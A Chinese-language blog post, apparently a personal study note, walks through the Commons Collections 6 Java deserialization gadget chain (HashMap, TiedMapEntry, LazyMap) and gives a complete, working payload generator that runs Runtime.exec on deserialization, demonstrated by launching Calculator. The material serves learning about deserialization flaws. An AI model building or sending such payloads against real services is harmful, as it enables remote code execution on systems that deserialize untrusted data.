java--commoncollections6 反序列化利用学习

总结

上周花了一周的时间学习commoncollections1,对java的反序列化利用好像有一丝丝的理解了。

暂时的思路就是:首先寻找存在对应方法的类,LazyMap-->get,TransformedMap-->setValue,put

从寻找一个存在readObject方法的类出发,通过寻找其它Object导致最后能触发上面的方法。


问题所在

从commoncollections1的学习发现,这条利用链对jdk版本有限制,高版本的jdk使用不了,具体原因就是在Java 8u71以后的版本中,由于 sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致不再可用,下图为1.7和1.8版本的对比

根据p神解释为:改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。


commoncollections6前置知识

那么commoncollections6利用的是:HashMap,TiedMapEntry,LazyMap

对于我这种不是java出身的学习者来说,对于新见的每一个类都需要学习一下它的功能,那么我首先需要了解一下Entry,这个在之前稍微学习过利用,对Entry的理解就是将key-value结合到一起,组成一个key-value对,

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;

public class hahaha {
    public static void main(String[] args) {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer("hello")
        });
        Map lazyMap =  LazyMap.decorate(new HashMap(),chainedTransformer);
        lazyMap.put(1,1);
        lazyMap.put(2,2);
        lazyMap.put(3,3);

        Iterator iterator = lazyMap.entrySet().iterator();
        while (iterator.hasNext()){
            Map.Entry entry = (Map.Entry) iterator.next();
            System.out.println(entry);
        }
        System.out.println(lazyMap);
    }
}

输出为

 那么对TiedMapEntry的构造方法查看,发现传入的是一个Map对象和一个Object对象

 但是具体行为我还是不懂,但是看运行结果来说可以发现,LazyMap传入到 TiedMapEntry时,会成功执行ConstantTransformer的内容,如果换成h这个HashMap则会输出null,并且会输出key=value这种形式


commoncollections6 利用分析

我选用的环境是jdk7u80和jdk8u311

这里就是使用jdk8u311进行测试

首先回顾一下URLDNS反序列化的出发点:readObject这个方法中,如果被反序列化的对象中存在readObject方法,那么就会使用invoke执行这个方法,在HashMap中存在readObject方法,且其中存在putVal方法调用了hash方法,且hash方法中调用了hashCode方法,然后寻找一个同样有hashCode方法的并且能够执行恶意方法的类即可。

首先还是构造Transformers以及LazyMap,但这次构造有些不同,最后一部分在说,主要就是为了避免在构造时触发命令执行

        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
                new ConstantTransformer(1), 
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,transformerChain);

然后是使用TiedMapEntry进行构造,

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"zyer");

上面对这个应该有一定了解了,那么打印一下会输出 zyer=1

那么我们将这个作为一个hashMap的key,在任意输入一个value

HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "zyer ");

最后反射加入真正的Transformers

        // 反射加入加入payload ,这样在put时就不会执行
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        // 序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(hashMap);

        // 反序列化读取 out.bin 文件
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
        ois.readObject();

 整体运行一下发现运行不了,我们调试一下顺便了解过程,我们可以知道触发点为hashMap.put方法,在此下断点,然后跟进在发现调用了hashCode方法,然后我们到TiedMapEntry的hashCode方法处下断点

 

继续跟进发现会将我们传入的map调用get方法,

 继续跟进,但是发现刚执行完,继续执行到这条语句结束,我们会发现outerMap中会被加入值 

那么如果outerMap中有值的话,那么就不会触发LazyMap中的这个transform并put方法

 

 那么我们需要将outerMap中的值移除即可,那么payload为

package com.zyer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,transformerChain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"zyer");
        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry, 1);
        outerMap.clear();
        
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // 序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(hashMap);

        // 反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
        ois.readObject();

    }
}

构造payload

反射修改transformers学习

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

 我们知道ChainedTransformer就是从第一个开始使用for循环执行transform

 而在ChainedTransformer中定义的我们输入的Transforms为iTransformers

 于是我们可以通过Field来修改iTransformers的值,以便达到在生成payload过程中避免出发payload的情况。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值